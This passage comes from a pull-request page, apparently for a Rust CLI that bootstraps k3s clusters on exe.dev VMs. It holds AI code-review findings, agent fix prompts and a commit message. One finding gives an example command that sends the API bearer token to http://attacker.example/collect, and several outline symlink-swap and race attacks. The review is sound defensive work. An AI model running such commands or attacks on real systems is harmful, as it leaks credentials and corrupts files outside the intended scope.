REPO_ROOT. The script constructs$REPO_ROOT/$member/Cargo.tomland validates only-fon the resulting path; withcore -> /tmp/other-worktree(or another symlinked member directory),awk ... > "$manifest.tmp"and the latermvoperate in/tmp/other-worktree, despite the sibling-name checks. This violates confinement even when no target-file symlink exists. - Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as
["error", "quota exceeded"](or a serialized arbitrary string list) to become inventory entries and suppress VM creation. — The array branch now appliesis_vm_name, but that only checks DNS-label syntax. A direct status payload such as["error", "quota exceeded"]still insertserrorbecause it is a valid lowercase label, so arbitrary string-array content can still become inventory and suppress creation of a VM namederror. The original defect therefore remains for arbitrary strings that happen to match the accepted name pattern. - .github/workflows/release.yml: The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after
Verify the tag still points at the built commitcompletes but beforeaction-gh-releaseresolvestag_name, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move. — The defect remains:verifyperforms a separate ref read and then completes, whilepublishstill passes the mutable name${{ needs.resolve.outputs.tag }}tosoftprops/action-gh-release. A tag can be moved after verification and before that action resolvestag_name, so the release can still be attached to the moved tag with archives built fromBUILT_SHA. The laterconfirmjob only detects the mismatch after publication; it does not prevent it. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — Thepublishjob still declarespermissions: contents: write, andDownload release archivesremains a preceding step in that same job. GitHub Actions applies the job token permissions to every step, so the download action still runs with a write-capablegithub.token; moving tag verification to the separate read-onlyverifyjob fixes only that portion of the original issue, not the artifact-download consequence. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when stdout contains__EXEDEV_K8S_EXIT__:, but a transport failure after the wrapped script has executed and before that marker reaches the client still produces status 255 withremote_ran == false. In that case the current conditionif output.status.code() == Some(255) && !remote_ran && attempt < REMOTE_SSH_ATTEMPTSretries the full script, so the reported duplicate-state-changing execution remains possible.
📋 Additional findings from this change (not shown inline) (4)
- 🟠 High Nested listings are skipped whenever a JSON object also has a VM-name field, so supported mixed payloads can lose inventory entries and their SSH targets. (k8s_cli/src/manager/parsing.rs) — anchor-outside-diff
- 🟡 Medium
share receive-emailaccepts and forwards arbitrary state values instead of enforcing the documentedon/offcontract locally. For example,exedev-ctl share receive-email vm maybeparses successfully, buildsshare receive-email vm maybe, prompts as dangerous, and then sends the invalid command over SSH/HTTP rather than failing before transport. This violates the command-model argument-validation obligation and the documented state contract; it would be disproven if the exe.dev command contract explicitly accepted values beyondonandoff. (cli/src/cli.rs) — anchor-outside-diff - 🟡 Medium The HTTP transport accepts an arbitrary
--endpointstring and passes it directly to reqwest while attaching the exe.dev bearer token. A caller can runexedev-ctl --transport http --endpoint http://attacker.example/collect whoami;ExeDevClient::execposts the command with.bearer_auth(&self.token)to that cleartext/caller-controlled URL, potentially exposing the API key and command. This violates the documented HTTPS endpoint scoping/security expectation; it would be disproven if an upstream invariant or reqwest configuration validates the endpoint as HTTPS before the request (none is present in the reviewed client). (core/src/client.rs) — anchor-outside-diff - 🔵 Low Malformed hostnames with multiple trailing dots are accepted as the same cluster.
same_cluster_endpoint("https://k3s.example...:6443", "https://k3s.example:6443")returns true becausetrim_end_matches('.')removes every trailing dot, although only a single final dot is the DNS root notation and the multi-dot authority is malformed. In Existing mode this lets a malformed K3S_URL pass the only pre-mutation target check and be used for worker joins while kubectl targets the canonical endpoint. (k8s_cli/src/manager/mod.rs) — per-file-budget
♻️ Previously reported (still present) (6)
- 🟠 High New-mode bootstrap reuses any pre-existing VM whose name matches the control-plane plan and immediately installs/uses its existing k3s state without verifying that it belongs to the intended cluster. A stale or unrelated VM with the planned name can therefore be adopted as the control plane, and its kubeconfig/token can lead subsequent workers and manifests to that unrelated cluster. (k8s_cli/src/manager/mod.rs) — previously-reported
- 🟠 High The verify/confirm sequence does not prevent a tag move during publication, so it can publish a release whose assets do not match the tag. For example, verify reads
v1.2.3as BUILT_SHA A and succeeds; beforesoftprops/action-gh-releasecreates/updates the release, someone moves the tag to B; the action attaches the already-built archives under that tag name, and only the later confirm job notices the mismatch after the release is live. A failed run does not undo the release or assets. This would be false only if tag mutation is independently prevented for the entire workflow or publication is guaranteed atomic with the verification. (.github/workflows/release.yml) — previously-reported - 🟡 Medium Metadata reconciliation never removes stale tool-owned labels. When a fleet label is removed or its key is no longer desired,
apply_node_metadataonly sends the currentkey=valuelabels and leaves oldexedev.dev/*labels on the node, while status reports only whether desired labels match and therefore can reportlabels=okdespite owned label drift. (k8s_cli/src/manager/mod.rs) — previously-reported - 🟡 Medium An interrupt or failure while generating the root manifest's second-stage file can leave
Cargo.toml.nextbehind, and that stale file blocks future release/version-sync runs. (scripts/release/set-version.sh) — previously-reported - 🟡 Medium The push-trigger path does not resolve the tag ref or annotated tag object itself; it takes
GITHUB_SHAdirectly, while only workflow-dispatch performs API dereferencing. For an annotated tag push (or an event SHA representing the tag object), checkout can receive a non-commit/object SHA and the build path is not guaranteed to compile the commit named by the tag. (.github/workflows/release.yml) — previously-reported - 🟡 Medium Existing-mode target validation happens after VM creation, so a mismatched or invalid existing-cluster target can still cause fleet VMs to be created before bootstrap aborts. (k8s_cli/src/manager/mod.rs) — previously-reported
🤖 Prompt for AI agents — all findings (21)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (7)
Somewhere in the code under review, address this finding:
Concurrent first-time token creation can return different credentials to concurrent bootstrap processes.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
In scripts/release/set-version.sh, address this finding:
A symlinked workspace-member directory can redirect the rewrite outside `REPO_ROOT`. The script constructs `$REPO_ROOT/$member/Cargo.toml` and validates only `-f` on the resulting path; with `core -> /tmp/other-worktree` (or another symlinked member directory), `awk ... > "$manifest.tmp"` and the later `mv` operate in `/tmp/other-worktree`, despite the sibling-name checks. This violates confinement even when no target-file symlink exists.
Somewhere in the code under review, address this finding:
Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as `["error", "quota exceeded"]` (or a serialized arbitrary string list) to become inventory entries and suppress VM creation.
In .github/workflows/release.yml, address this finding:
The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after `Verify the tag still points at the built commit` completes but before `action-gh-release` resolves `tag_name`, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (4)
In k8s_cli/src/manager/process.rs around line 307, address this finding:
SSH transport retrying is based only on the absence of the wrapper exit marker; a connection can drop after the remote shell has executed side effects but before the marker is delivered, causing the same bootstrap script to be resent and potentially repeating installs or service starts.
In k8s_cli/src/manager/mod.rs around line 464, address this finding:
Existing-cluster validation ignores the URL scheme, so a malformed or different-scheme K3S_URL is accepted as targeting the same cluster. For example, `K3S_URL=http://cluster.example:6443` compares equal to a kubeconfig server of `https://cluster.example:6443` (and `ssh://...` or any other `scheme://...` does too). The subsequent worker install and kubectl labeling/deployment are then allowed despite the two endpoints not being the same HTTPS API endpoint; validation should parse and require the expected scheme rather than discard it. This is false acceptance, not merely a formatting issue, because the check is the guard immediately before mutating workers and the selected Kubernetes cluster.
In k8s_cli/src/manager/mod.rs around line 719, address this finding:
apply_node_metadata silently treats failure to fetch or parse the current node list as an empty map, then proceeds to label/taint nodes successfully; stale owned taints are therefore not removed and the command reports success despite an incomplete reconciliation.
In .github/workflows/release.yml around line 53, address this finding:
Workflow-dispatched and later verification/confirmation of annotated tags dereference only one tag object, so a recursively annotated tag is rejected or misclassified instead of resolving to its commit.
## Additional findings on this change (not posted inline) (4)
In k8s_cli/src/manager/parsing.rs around line 60, address this finding:
Nested listings are skipped whenever a JSON object also has a VM-name field, so supported mixed payloads can lose inventory entries and their SSH targets.
In cli/src/cli.rs around line 293, address this finding:
`share receive-email` accepts and forwards arbitrary state values instead of enforcing the documented `on`/`off` contract locally. For example, `exedev-ctl share receive-email vm maybe` parses successfully, builds `share receive-email vm maybe`, prompts as dangerous, and then sends the invalid command over SSH/HTTP rather than failing before transport. This violates the command-model argument-validation obligation and the documented state contract; it would be disproven if the exe.dev command contract explicitly accepted values beyond `on` and `off`.
In core/src/client.rs around line 43, address this finding:
The HTTP transport accepts an arbitrary `--endpoint` string and passes it directly to reqwest while attaching the exe.dev bearer token. A caller can run `exedev-ctl --transport http --endpoint http://attacker.example/collect whoami`; `ExeDevClient::exec` posts the command with `.bearer_auth(&self.token)` to that cleartext/caller-controlled URL, potentially exposing the API key and command. This violates the documented HTTPS endpoint scoping/security expectation; it would be disproven if an upstream invariant or reqwest configuration validates the endpoint as HTTPS before the request (none is present in the reviewed client).
In k8s_cli/src/manager/mod.rs around line 477, address this finding:
Malformed hostnames with multiple trailing dots are accepted as the same cluster. `same_cluster_endpoint("https://k3s.example...:6443", "https://k3s.example:6443")` returns true because `trim_end_matches('.')` removes every trailing dot, although only a single final dot is the DNS root notation and the multi-dot authority is malformed. In Existing mode this lets a malformed K3S_URL pass the only pre-mutation target check and be used for worker joins while kubectl targets the canonical endpoint.
## Previously reported and still present (6)
In k8s_cli/src/manager/mod.rs around line 332, address this finding:
New-mode bootstrap reuses any pre-existing VM whose name matches the control-plane plan and immediately installs/uses its existing k3s state without verifying that it belongs to the intended cluster. A stale or unrelated VM with the planned name can therefore be adopted as the control plane, and its kubeconfig/token can lead subsequent workers and manifests to that unrelated cluster.
In .github/workflows/release.yml around line 234, address this finding:
The verify/confirm sequence does not prevent a tag move during publication, so it can publish a release whose assets do not match the tag. For example, verify reads `v1.2.3` as BUILT_SHA A and succeeds; before `softprops/action-gh-release` creates/updates the release, someone moves the tag to B; the action attaches the already-built archives under that tag name, and only the later confirm job notices the mismatch after the release is live. A failed run does not undo the release or assets. This would be false only if tag mutation is independently prevented for the entire workflow or publication is guaranteed atomic with the verification.
In k8s_cli/src/manager/mod.rs around line 724, address this finding:
Metadata reconciliation never removes stale tool-owned labels. When a fleet label is removed or its key is no longer desired, `apply_node_metadata` only sends the current `key=value` labels and leaves old `exedev.dev/*` labels on the node, while status reports only whether desired labels match and therefore can report `labels=ok` despite owned label drift.
In scripts/release/set-version.sh around line 130, address this finding:
An interrupt or failure while generating the root manifest's second-stage file can leave `Cargo.toml.next` behind, and that stale file blocks future release/version-sync runs.
In .github/workflows/release.yml around line 62, address this finding:
The push-trigger path does not resolve the tag ref or annotated tag object itself; it takes `GITHUB_SHA` directly, while only workflow-dispatch performs API dereferencing. For an annotated tag push (or an event SHA representing the tag object), checkout can receive a non-commit/object SHA and the build path is not guaranteed to compile the commit named by the tag.
In k8s_cli/src/manager/mod.rs around line 87, address this finding:
Existing-mode target validation happens after VM creation, so a mismatched or invalid existing-cluster target can still cause fleet VMs to be created before bootstrap aborts.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| // Seeing it means ssh failed while returning output, not before running | ||
| // anything, so resending the script would repeat an install or a service | ||
| // change that already happened. | ||
| let remote_ran = String::from_utf8_lossy(&output.stdout).contains(REMOTE_EXIT_PREFIX); |
There was a problem hiding this comment.
🔍 Resource Lifetime | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/process.rs, address this finding:
SSH transport retrying is based only on the absence of the wrapper exit marker; a connection can drop after the remote shell has executed side effects but before the marker is delivered, causing the same bootstrap script to be resent and potentially repeating installs or service starts.
| /// URL without it are still the same cluster. | ||
| fn same_cluster_endpoint(left: &str, right: &str) -> bool { | ||
| fn parts(url: &str) -> (String, String) { | ||
| let without_scheme = url.split_once("://").map_or(url, |(_, rest)| rest); |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact downstream behavior of the k3s agent when given a non-HTTPS K3S_URL is dependency/runtime-specific; regardless, the validation guard itself returns true for a concrete HTTPS-versus-HTTP mismatch and permits the mutation path.
🤖 Prompt for AI agents
In k8s_cli/src/manager/mod.rs, address this finding:
Existing-cluster validation ignores the URL scheme, so a malformed or different-scheme K3S_URL is accepted as targeting the same cluster. For example, `K3S_URL=http://cluster.example:6443` compares equal to a kubeconfig server of `https://cluster.example:6443` (and `ssh://...` or any other `scheme://...` does too). The subsequent worker install and kubectl labeling/deployment are then allowed despite the two endpoints not being the same HTTPS API endpoint; validation should parse and require the expected scheme rather than discard it. This is false acceptance, not merely a formatting issue, because the check is the guard immediately before mutating workers and the selected Kubernetes cluster.
| include_control_plane: bool, | ||
| kubeconfig: Option<&Path>, | ||
| ) -> Result<()> { | ||
| let actual = kubectl_capture(kubeconfig, &["get", "nodes", "-o", "json"]) |
There was a problem hiding this comment.
🔍 Error Handling | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/mod.rs, address this finding:
apply_node_metadata silently treats failure to fetch or parse the current node list as an empty map, then proceeds to label/taint nodes successfully; stale owned taints are therefore not removed and the command reports success despite an incomplete reconciliation.
| sha="$(printf '%s' "${ref_json}" | jq -r '.object.sha')" | ||
| type="$(printf '%s' "${ref_json}" | jq -r '.object.type')" | ||
| # An annotated tag points at a tag object, not the commit it names. | ||
| if [[ "${type}" == "tag" ]]; then |
There was a problem hiding this comment.
🔍 Build Deployment | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The push-trigger path may receive a commit SHA directly from GitHub, but the workflow_dispatch path is sufficient to reproduce the defect for recursively annotated tags.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
Workflow-dispatched and later verification/confirmation of annotated tags dereference only one tag object, so a recursively annotated tag is rejected or misclassified instead of resolving to its commit.
…state Two bootstraps of the same new cluster each generated a token and overwrote the other, so the server and the agents could end up with different credentials. The token is now linked into place, which fails rather than replaces when the name is taken, and the loser adopts the winner's. Existing-mode target validation ran inside bootstrap_k3s, after VMs had been created, so a mismatched K3S_URL left the fleet's VMs behind when it aborted. It now runs before anything is created. That check also discarded the URL scheme, accepting `http://host:6443` as the HTTPS endpoint a kubeconfig names, and accepted any number of trailing dots on the host. apply_node_metadata treated an unreadable node list as an empty one and carried on, reporting a reconciliation it had not done. It now fails. Stale labels get the same treatment taints already had: `exedev.dev/*` labels the plan dropped are removed rather than left beside the desired ones, and status stops reporting `labels=ok` while they are still there. An object that named a VM stopped both parsers from descending into listings nested under it, dropping those entries and their SSH destinations. The SSH retry keyed on the wrapper's exit marker, but its absence does not mean the script never ran: output arriving without the marker means it did. Retries are now limited to exchanges that produced no output at all. `--endpoint` was passed to reqwest with the API key attached regardless of scheme, so `--endpoint http://elsewhere/collect` sent the key and the command in the clear; it must now be https. `share receive-email` forwarded any state string rather than the documented on/off. set-version.sh validated only `-f` on the assembled manifest path, so a symlinked member directory redirected the rewrite, its staging file and its backup outside the workspace. Member directories and manifests must now be real. `.next` is also cleaned up, having been staged but not removed. The workflow peels a tag object naming another tag object rather than giving up after one level.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@core/src/client.rs`:
- Around line 41-49: Configure the shared reqwest client builder to enforce
HTTPS with https_only(true), preventing redirects from downgrading requests. Add
regression tests covering both 307 and 308 redirects from HTTPS to HTTP,
verifying they are rejected while preserving the existing endpoint validation in
the client setup.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: cec853e7-d8c7-4ed1-b1ef-a17d4cdae22b
📒 Files selected for processing (9)
.github/workflows/release.ymlcli/src/cli.rscore/src/client.rsk8s_cli/src/manager/mod.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/process.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/set-version.sh
🚧 Files skipped from review as they are similar to previous changes (8)
- scripts/release/set-version.sh
- .github/workflows/release.yml
- k8s_cli/src/manager/parsing.rs
- k8s_cli/src/manager/state.rs
- cli/src/cli.rs
- k8s_cli/src/manager/mod.rs
- k8s_cli/src/manager/tests.rs
- k8s_cli/src/manager/process.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🔇 Additional comments (1)
core/src/client.rs (1)
1-1: LGTM!
There was a problem hiding this comment.
Actionable comments posted: 8
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (8)
- 🟠 High A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes. (inline)
- 🟠 High An existing persisted token is not tightened to mode 0600 when an explicit
K3S_TOKENmatches it. The environment branch usesread_regular_file, which only validates and reads the file; it does not call the handle-based permission restriction used byread_secret_file. Thus a prior token file at 0644 remains group/world-readable after a successful override/synchronization call. (inline) - 🟠 High The hard-link adoption path can adopt an unrelated regular file after the
AlreadyExistsresult. On losinghard_link, the code removes its staging file and then independently openspath; another process can replace the destination entry (or win a separate write) in between, andread_secret_filevalidates only that the replacement is a regular file, not that it is the file created by the competing token writer. A concurrent bootstrap can therefore consume a different token and proceed with credentials not matching the server. This is false only if no other process can modify the state directory/destination during this window (for example, an enforced lock or exclusive directory ownership exists), but this function establishes neither. (inline) - 🟡 Medium An explicitly supplied empty argument is silently replaced by
RELEASE_TAG, so the script can report success for a different version than the caller supplied. For example, withRELEASE_TAG=v1.2.3,check-version.sh ''exits successfully and prints1.2.3instead of rejecting the malformed empty tag. This violates the stated 'RELEASE_TAG is used when no argument is given' behavior and can make a wrapper validate an ambient value after accidentally passing an empty tag. The claim would be false if callers are guaranteed never to pass an empty positional argument or if empty is intentionally defined as equivalent to omission. (inline) - 🟡 Medium A concurrent invocation can leave a mixed-version workspace and overwrite rollback data because the script has no repository-wide lock. Two processes can both pass
require_free_siblingbefore either creates its staging files, then interleave theircp/mvoperations; for example one can install version A'score/Cargo.tomlwhile the other installs version B'scli/Cargo.tomland root manifest, and their.bakfiles can overwrite each other so EXIT cleanup cannot restore the original state. (inline) - 🟡 Medium Malformed nonempty
ssh_destvalues are treated as authoritative instead of falling back to<vm>.exe.xyz. For example, an API object{ "vm_name":"vm-1", "ssh_dest":"vm-1.exe.xyz other-arg" }is stored unchanged and passed as one SSH destination; OpenSSH cannot parse it as a valid host target, so bootstrap fails even though the documented hostname fallback is usable. The same applies to values containing shell/control whitespace or other invalid destination syntax. (inline) - 🟡 Medium Inventory parser tests do not cover objects containing both a generic
nameand exe.dev's authoritativevm_name, so the current key precedence regression is undetectable.VM_NAME_KEYSchecksnamebeforevm_name; for{ "name":"display-name", "vm_name":"authoritative-name", "ssh_dest":"..." }, bothparse_vm_namesandparse_ssh_destinationsindex the VM underdisplay-name, causing the authoritative destination to be associated with the wrong fleet node. The existing fixtures use only one name spelling per object and therefore pass. This candidate is disproved if the exe.dev contract guarantees these fields can never coexist (or if genericnameis authoritative when they do). (inline) - 🟡 Medium The failure-path test
secret_write_failure_leaves_the_previous_secret_intactis platform/user dependent: it assumes chmod 0500 prevents the test process from creating the staging file. Under root (and on platforms/filesystems that ignore Unix mode enforcement),write_secret_filesucceeds, sounwrap_err()panics; because cleanup is after the assertion, the temporary directory can also be left behind. This is disproved if the test suite explicitly excludes root/non-Unix environments or runs with a guaranteed permission-denied filesystem fixture. (inline)
⛔ Unresolved from previous review (7) — not approved until fixed
- .github/workflows/release.yml: The verify/confirm sequence does not prevent a tag race during publication: after
verifychecks the tag (lines 164-176), an actor can move it beforesoftprops/action-gh-releaseattaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built fromBUILT_SHAwhile the tag points elsewhere;confirm(lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch. — The defect remains: the currentverifyjob performs a read-only tag check, thenpublishstill invokessoftprops/action-gh-releasewith onlytag_name, so the tag can be moved after verification and before or during attachment. Theconfirmjob still only reads the tag afterward and exits 1; it does not prevent, remove, or correct a release that was attached to the moved tag. The workflow comments explicitly acknowledge that publication cannot be refused at that instant. - k8s_cli/src/manager/mod.rs: New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster. — The defect can still occur. In
create_missing_vms, an existing VM is still skipped solely oninventory.names.contains(&node.name), and new-cluster bootstrap then callsinstall_k3s_serveron that VM. The current server installer only rejects existing agent state; when a k3s service/binary is already present it starts or reuses it without checking its cluster identity, token, or server configuration. Thus an already-installed server from another cluster can still be reused for the requested new cluster. - k8s_cli/src/manager/process.rs: SSH transport retrying is based only on the absence of the wrapper exit marker; a connection can drop after the remote shell has executed side effects but before the marker is delivered, causing the same bootstrap script to be resent and potentially repeating installs or service starts. — The retry guard now treats any captured stdout as evidence that the remote shell ran, but it still retries status-255 exchanges when stdout is empty. A bootstrap script can perform installs or service changes without writing stdout; if the connection drops after those side effects and before the wrapper's exit marker, both the script output and marker can be absent, so
remote_ranremains false and the script is resent. - scripts/release/sync-homebrew-tap.sh: The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. - Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as
["error", "quota exceeded"](or a serialized arbitrary string list) to become inventory entries and suppress VM creation. — The array-string path now appliesis_vm_name, but that predicate only checks DNS-label shape. In the reported payload["error", "quota exceeded"],errorpasses unchanged and is still inserted into inventory, so an error response can still create a false VM entry and suppress creation. The current test explicitly confirms this limitation: a single lowercase prose word is accepted because it can also be a valid VM name. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The tag-verification shell step was moved into the separate read-onlyverifyjob, butpublishstill declarespermissions: contents: writeand its first step,Download release archives, remains in that same job. GitHub Actions applies the job token permissions to every step, so the download action still runs with a write-capablegithub.tokenbefore the release action; the least-privilege defect therefore remains. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when any stdout is captured, including the exit marker, but!output.stdout.is_empty()is not evidence that the remote script did not run: a non-idempotent script can execute and emit only stderr (or its marker/stdout can be lost when the SSH connection drops), leaving stdout empty while SSH returns 255. That path still resends the full script.
⚠️ Unverified risks (1)
- The SSH policy accepts an unverified host key on first use, so a reported destination can be redirected to an attacker or wrong host by DNS/routing and still pass SSH authentication.
StrictHostKeyChecking=accept-newonly rejects changed keys after they are cached; it does not pin or otherwise authenticate the initial key. The remote hostname check is not a cryptographic identity check and can be satisfied by an attacker-controlled machine that reports the planned short hostname. This permits bootstrap scripts containing Tailscale auth keys and k3s tokens to be sent to the wrong host. (k8s_cli/src/manager/process.rs)
📋 Additional findings from this change (not shown inline) (11)
- 🟠 High The HTTPS-only check is bypassable via redirects: reqwest::Client::new() follows redirects by default, so a server at the initially validated HTTPS endpoint can return a 307/308 redirect and cause the POST command body to be resent to another endpoint, including an http:// URL. In the HTTP case this sends the command in cleartext; even for an HTTPS cross-host redirect it discloses the command to an endpoint that was never validated. Bearer handling does not protect the command body, and same-host redirects can also retain the Authorization header. (core/src/client.rs) — anchor-outside-diff
- 🟠 High Fleet validation permits duplicate generated VM/node names, so bootstrap can silently skip one planned node or target the wrong role/pool. (k8s_cli/src/fleet.rs) — anchor-outside-diff
- 🟠 High Reading persisted generated tokens does not validate the state-directory components before opening the file. With
.exedev-k8sor the per-cluster directory as a symlink to another real directory,path.exists()is true andopen_regular_filefollows the symlink, so an unrelated file outside the state directory is adopted as the cluster token. The real-directory check is only reached fromprepare_secret_parent, which is not called on this read path. (k8s_cli/src/manager/state.rs) — anchor-unreliable - 🟠 High The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after
ensure_real_directoriesreturns but before staging/rename. An attacker able to modify the working directory can replace.exedev-k8sor the cluster directory with a symlink in that window; subsequentOpenOptions::openfollows it and writes the secret outside the state directory. The same pathname race affects reads becausesymlink_metadatachecks the final entry while parent components are followed duringFile::open. (k8s_cli/src/manager/state.rs) — anchor-unreliable - 🟡 Medium Existing-mode status reports control-plane metadata drift even though bootstrap intentionally never reconciles that node. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff
- 🟡 Medium Several SSH failure paths lose the actual VM name.
capture_remote_ssh_outputaccepts only argv and reports spawn failures asfailed to run ssh, timeouts asremote command on this VM..., and wait/write errors without identifying the VM;remote_command_outputdoes not add VM context around that call. During bootstrap, callers such asinstall_tailscaleandinstall_k3s_agenttherefore return errors that cannot tell which fleet VM failed, contrary to the required actionable VM-context diagnostics. (k8s_cli/src/manager/process.rs) — anchor-outside-diff - 🟡 Medium If the process is interrupted after the hard link succeeds but before
remove_file(&staged), the random staging pathname remains as a second hard link to the live token. On a later run, the normal destination read succeeds but the credential-bearing.tmpartifact is never discovered or cleaned, violating the requirement that interrupted operations not leave stale temporary files. (k8s_cli/src/manager/state.rs) — per-file-budget - 🟡 Medium The state-directory symlink defense is vulnerable to a TOCTOU race:
ensure_real_directorieschecks the parent path and thenstage_secretopens a pathname later, so a local attacker can replace.exedev-k8s(or a cluster subdirectory) with a symlink after the check and redirect the staged token/kubeconfig into an attacker-chosen directory. The final rename then publishes the secret at that redirected location. The existing symlink test only covers a static symlink and does not exercise this interleaving. (k8s_cli/src/manager/state.rs) — per-file-budget - 🟡 Medium Successful secret writes are not durable across a crash because only the staged file is
